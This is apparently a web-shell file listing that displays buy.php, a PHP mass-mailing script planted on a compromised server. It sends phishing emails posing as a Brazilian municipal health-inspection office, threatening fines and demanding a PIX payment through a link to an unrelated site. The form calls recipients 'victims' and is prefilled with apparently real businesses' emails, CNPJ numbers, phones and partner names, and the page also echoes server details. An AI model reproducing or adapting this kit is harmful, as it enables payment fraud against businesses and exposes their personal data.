HEX
Server: Apache/2.4.48 (Unix) OpenSSL/1.0.2k-fips
System: Linux server.outdosystem.in 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User: ezllouau (1194)
PHP: 7.4.21
Disabled: NONE
Upload Files
File: /home/ezllouau/public_html/buy.php
<?php
@ignore_user_abort(TRUE);
error_reporting(0);
@set_time_limit(0);

// Function to generate a random number
function random_num() {
    $n = '';
    for ($x = 0; $x < 4; $x++) {
        $n .= rand(1, 9);
    }
    return mt_rand(1, 2) . $n;
}

// Function to generate a random sender name
function random_sender_name() {
    $names = [
        'Notificação de Inspeção Sanitária', 'Inspeção Sanitária', 'Atualização de Licença Sanitária',
        'Alvará Sanitário', 'Auto de Infração Sanitária', 'Regularização de Alvará Sanitário'
    ];
    return $names[array_rand($names)] . ' ' . random_num();
}

// Function to get server hostname for reverse DNS
function get_server_email_domain() {
    $hostname = gethostname();
    if ($hostname) {
        // Attempt reverse DNS lookup
        $ip = $_SERVER['SERVER_ADDR'] ?? gethostbyname($hostname);
        $reverse = gethostbyaddr($ip);
        if ($reverse && filter_var($reverse, FILTER_VALIDATE_DOMAIN)) {
            return 'no-reply@' . $reverse;
        }
    }
    // Fallback domain if reverse DNS fails
    return 'no-reply@localhost';
}

// Function to get current date and time in Brazil (America/Sao_Paulo)
function get_brazil_datetime() {
    $timezone = new DateTimeZone('America/Sao_Paulo');
    $date = new DateTime('now', $timezone);
    return $date->format('d/m/Y H:i:s');
}

$testa = $_POST['veio'];
if ($testa != "") {
    $nome = random_sender_name(); // Use random sender name
    $to = $_POST['emails'];
    $de = !empty($_POST['de']) ? $_POST['de'] : get_server_email_domain();
    $de = str_replace("%random_num%", random_num(), $de);

    // Improved headers for better deliverability
    $headers = "From: $nome <$de>\r\n";
    $headers .= "Reply-To: $de\r\n";
    $headers .= "MIME-Version: 1.0\r\n";
    $headers .= "Content-Type: text/html; charset=utf-8\r\n";
    $headers .= "X-Mailer: PHP/" . phpversion() . "\r\n";
    $headers .= "Date: " . date('r') . "\r\n";
    $headers .= "Message-ID: <" . random_num() . "@" . parse_url($de, PHP_URL_HOST) . ">\r\n";
    $headers .= "X-Priority: 3\r\n";
    $headers .= "X-MSMail-Priority: Normal\r\n";

    // Process email list
    $lines = explode("\n", $to);
    $count = 1;
    $ok = "ok";

    foreach ($lines as $line) {
        $line = trim($line);
        if (empty($line)) {
            continue;
        }

        // Split line into parts
        list($current_email, $cnpj, $razao, $telefone, $socio) = array_pad(explode(';', $line), 5, null);

        $current_email = trim($current_email);
        $subject = $_POST['assunto'];
        $message = $_POST['html'];

        if (filter_var($current_email, FILTER_VALIDATE_EMAIL)) {
            // Replace placeholders, including datetime
            $replacements = [
                '{{cnpj}}' => trim($cnpj ?? ''),
                '{{razao}}' => trim($razao ?? ''),
                '{{telefone}}' => trim($telefone ?? ''),
                '{{socio}}' => trim($socio ?? ''),
                '%EMAIL%' => $current_email,
                '%random_num%' => random_num(),
                '{{datetime}}' => get_brazil_datetime()
            ];
            $message = str_replace(array_keys($replacements), array_values($replacements), $message);
            $subject = str_replace(array_keys($replacements), array_values($replacements), $subject);
            
            $message = stripslashes($message);

            // Send email with error handling
            try {
                if (mail($current_email, $subject, $message, $headers)) {
                    echo "* Numero: $count <b>$current_email</b> <font color=green>OK</font><br><hr>";
                } else {
                    echo "* Numero: $count <b>$current_email</b> <font color=red>ERRO AO ENVIAR</font><br><hr>";
                }
            } catch (Exception $e) {
                echo "* Numero: $count <b>$current_email</b> <font color=red>ERRO: " . $e->getMessage() . "</font><br><hr>";
            }
        } else {
            echo "* Numero: $count <b>$line</b> <font color=orange>EMAIL INVÁLIDO</font><br><hr>";
        }

        $count++;
    }

    if ($ok == "ok") {
        echo "";
    }
}
?>
<html>
<head>
<title>Envio de Email</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style>
body {
    margin: 0;
    font-family: Arial, Helvetica, sans-serif;
    background-color: #f2f2f2;
    color: #333;
}
.container {
    max-width: 600px;
    margin: 0 auto;
    padding: 20px;
    background-color: #fff;
    box-shadow: 0 4px 8px rgba(0,0,0,0.1);
    border-radius: 8px;
    margin-top: 30px;
}
header {
    background-color: #4CAF50;
    color: #fff;
    text-align: center;
    padding: 10px 0;
    border-radius: 8px 8px 0 0;
}
h1 {
    font-size: 24px;
    margin: 0;
}
form {
    margin-top: 20px;
}
label {
    display: block;
    margin-bottom: 8px;
    font-weight: bold;
}
input[type="text"],
textarea {
    width: calc(100% - 20px);
    padding: 10px;
    margin-bottom: 15px;
    border: 1px solid #ccc;
    border-radius: 4px;
    font-size: 14px;
}
textarea {
    resize: vertical;
}
input cuntype="submit"] {
    background-color: #4CAF50;
    color: #fff;
    padding: 10px 20px;
    border: none;
    border-radius: 4px;
    cursor: pointer;
    font-size: 16px;
}
input[type="submit"]:hover {
    background-color: #45a049;
}
.alerta {
    color: #990000;
    font-size: 12px;
    margin-top: -10px;
}
.info {
    font-size: 12px;
    color: #555;
    margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
    <header>
        <h1>Envio de Emails</h1>
    </header>
    <form action="" method="post" enctype="multipart/form-data" name="form1">
      <input type="hidden" name="veio" value="sim">
      <label for="de">E-mail do Remetente (opcional):</label>
      <input name="de" type="text" id="de" placeholder="Deixe em branco para usar o domínio do servidor">

      <label for="assunto">Assunto:</label>
      <input name="assunto" type="text" id="assunto" value="Prezado(a) {{razao}} - Auto de Infração nº %random_num% – Regularização de Alvará Sanitário {{datetime}}">

      <label for="html">Código HTML:</label>
      <textarea name="html" id="html" rows="8"><!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Notifica&ccedil;&atilde;o Oficial: Pend&ecirc;ncia no Alvar&aacute; Sanit&aacute;rio</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            margin: 0;
            padding: 0;
            color: #333;
        }
        .container {
            max-width: 600px;
            margin: 20px auto;
            background-color: #ffffff;
            border: 1px solid #ddd;
            border-radius: 5px;
            overflow: hidden;
        }
        .header {
            background-color: #008B45;
            color: #ffffff;
            padding: 20px;
            text-align: center;
        }
        .header img {
            max-width: 150px;
            height: auto;
        }
        .alert {
            background-color: #FFCC00;
            color: #333;
            padding: 15px;
            text-align: center;
            font-weight: bold;
            font-size: 16px;
        }
        .content {
            padding: 20px;
        }
        .details {
            background-color: #f9f9f9;
            padding: 15px;
            border: 1px solid #ddd;
            margin-bottom: 20px;
        }
        .details p {
            margin: 5px 0;
        }
        .consequences {
            margin-bottom: 20px;
        }
        .consequences ul {
            list-style-type: disc;
            padding-left: 20px;
        }
        .cta {
            text-align: center;
            margin-bottom: 20px;
        }
        .cta a {
            background-color: #008B45;
            color: #ffffff;
            padding: 15px 30px;
            text-decoration: none;
            font-weight: bold;
            border-radius: 5px;
            display: inline-block;
        }
        .footer {
            background-color: #f4f4f4;
            padding: 15px;
            text-align: center;
            font-size: 12px;
            color: #666;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <img src="https://www.soledade.rs.gov.br/public/admin/globalarq/uploads/files/Visa-Convisa.jpg" alt="Logo Vigil&acirc;ncia Sanit&aacute;ria">
            <h1>Prefeitura Municipal - Vigil&acirc;ncia Sanit&aacute;ria</h1>
        </div>
        <div class="alert">
            Notifica&ccedil;&atilde;o de Pend&ecirc;ncia: Regulariza&ccedil;&atilde;o Urgente do Alvar&aacute; Sanit&aacute;rio
        </div>
        <div class="content">
            <p>Prezado(a) Respons&aacute;vel pela Empresa {{socio}},</p>
            <p>Informamos que, conforme registros do Sistema de Vigil&acirc;ncia Sanit&aacute;ria Municipal, integrado ao Sistema Nacional de Vigil&acirc;ncia Sanit&aacute;ria (SNVS), foi identificada uma pend&ecirc;ncia no Alvar&aacute; Sanit&aacute;rio n&ordm; 00745283912, obrigat&oacute;rio para a opera&ccedil;&atilde;o do seu estabelecimento, nos termos da Lei Federal n&ordm; 6.437/1977 e RDC n&ordm; 751/2022 da ANVISA.</p>
            <p><strong>A taxa de renova&ccedil;&atilde;o anual n&atilde;o foi paga.</strong> O pagamento deve ser realizado exclusivamente via PIX, utilizando o novo sistema de cobran&ccedil;a integrado do governo. A n&atilde;o regulariza&ccedil;&atilde;o pode resultar em suspens&atilde;o imediata das atividades e processo judicial contra a empresa.</p>
            <div class="details">
                <p><strong>CNPJ:</strong> {{cnpj}}</p>
                <p><strong>Raz&atilde;o Social:</strong> {{razao}}</p>
                <p><strong>Valor da Taxa de Inspe&ccedil;&atilde;o Sanit&aacute;ria:</strong> R$ 248,79</p>
                <p><strong>Prazo Final para Regulariza&ccedil;&atilde;o:</strong> 14/10/2025</p>
                <p><strong>Multa por Inadimpl&ecirc;ncia:</strong> R$ 15.000,00 (aplicada ap&oacute;s o prazo)</p>
            </div>
            <div class="consequences">
                <h2>Consequ&ecirc;ncias da N&atilde;o Regulariza&ccedil;&atilde;o:</h2>
                <ul>
                    <li>Suspens&atilde;o do Alvar&aacute; Sanit&aacute;rio, com interrup&ccedil;&atilde;o das opera&ccedil;&otilde;es.</li>
                    <li>Multa inicial de R$ 15.000,00, com possibilidade de aumento por reincid&ecirc;ncia.</li>
                    <li>Embargo do estabelecimento e a&ccedil;&otilde;es judiciais por descumprimento.</li>
                </ul>
                <p>Pague agora via PIX para evitar multas e processos judiciais contra sua empresa.</p>
            </div>
            <div class="cta">
                <a href="https://caspianlines.com/wp-content/index/?cid=%EMAIL%">Pagar via PIX e Regularizar Agora</a>
            </div>
            <p>Caso o pagamento j&aacute; tenha sido efetuado, desconsidere esta notifica&ccedil;&atilde;o e verifique o status no portal oficial.</p>
        </div>
        <div class="footer">
            Prefeitura Municipal - Setor de Regulariza&ccedil;&atilde;o e Conformidade Sanit&aacute;ria<br>
            &copy; 2025 Todos os direitos reservados. Este e-mail &eacute; confidencial e protegido pela Lei Geral de Prote&ccedil;&atilde;o de Dados (LGPD).
        </div>
    </div>
</body>
</html>
</textarea>
      <span class="alerta">*Lembrete: texto em HTML</span>

      <label for="emails">Coloque o email de suas vítimas abaixo:</label>
      <textarea name="emails" id="emails" rows="8">carlosgonzales_moratin@outlook.com;76704550000153;CONDOMINIO EDIFICIO OREGON;(47) 33677777 / (47) 33671704;
ccrlos.breem@bol.com.br;18133035000164;PEDRALLI STACKE RESTAURANTE LTDA;(47) 84888103 / (47) 84061425;JOAO MIGUEL PEIXOTO DA SILVA STACKE
thomasmartinsconsultoria@gmail.com;15204344000190;AUTO POSTO BR A.G. LTDA;(47) 30813532;SAFIRA ZIMMERMANN</textarea>
      <span class="alerta">*Separado por quebra de linha</span>

      <input type="submit" name="Submit" value="Enviar">
    </form>
    <div class="info">
        Nome do Servidor: <?php echo $UNAME = @php_uname(); ?><br>
        Sistema Operacional: <?php echo $OS = @PHP_OS; ?><br>
        Endereço IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br>
        Software usado: <?php echo $_SERVER['SERVER_SOFTWARE']; ?><br>
        Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?><br>
        Safe Mode: <?php echo $safe_mode = @ini_get('safe_mode'); ?>
    </div>
</div>
</body>
</html>